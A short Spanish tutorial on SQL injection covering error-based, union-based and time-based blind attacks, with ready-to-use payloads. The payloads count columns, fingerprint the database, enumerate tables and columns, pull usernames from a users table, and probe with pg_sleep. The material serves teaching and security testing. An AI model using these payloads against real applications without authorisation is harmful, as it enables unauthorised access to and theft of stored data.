SQL Injection

Por Alejandro Lopez Aguilar ·

La inyección SQL es un ataque que explota vulnerabilidades en aplicaciones que utilizan bases de datos. Un atacante inserta 
código SQL malicioso en entradas como logins, formularios, URLs o parámetros de API. Esto puede otorgarles acceso no autorizado 
a datos o permitir manipulación de información.
Existen diferentes tipos de inyecciones SQL
~ Error-Based SQLi: Al insertar el payload la página muestra un mensaje de error al usuario como el siguiente
Actuamos en base al error que la página nos ha mostrado
~ Union-Based SQLi: Permite al atacante combinar los resultados de su consulta maliciosa con la consulta original utilizando la 
cláusula `UNION`
Para este tipo de ataque es necesario conocer primero el número de columnas que existen y la base de datos que esta corriendo 
por detrás
Supongamos que el parámetro categories es vulnerable, primero de todo tenemos que saber el número de columnas que existen para 
ello podemos usar ORDER BY
`categories=gift' ORDER BY <NUM>--`
Iremos probando diferentes números, una vez conozcamos las columnas podremos obtener información de la base de datos, 
previamente usaremos payloads para ver el tipo de BD que es (PostgreSQL,MySQL , SQL Server)
A modo de ejemplo a la hora de aplicar el order by hemos descubierto que existen 2 columnas por lo que podremos usar los 
siguientes payloads
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
PostgreSQL
categories=gift' UNION SELECT version(), null--

MySQL
categories=gift' UNION SELECT @@version, null--

Oracle
categories=gift' UNION SELECT banner, null FROM v$version--

SQL Server
categories=gift' UNION SELECT @@version, null--
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
El siguiente paso es enumerar las tablas en la Base de Datos
Para postgresql podemos usar el siguiente payload
`categories=gift' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=current_schema()--`
Una vez enumeradas las tablas podemos hacer las consultas
`categories=gift' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'--`
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
categories=gift' UNION SELECT username, null FROM users--
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
~ Time-Based Blind SQli: Este tipo de ataque se basa en usar funciones que retrasan la respuesta de la base de datos (SLEEP en 
Mysql, pg_sleep en PostgreSQL)
`categories=gift' AND (SELECT pg_sleep(5))--`
Si la página tarda 5 segundos en responder, la condicion es verdadera por lo que es vulnerable a este tipo de inyección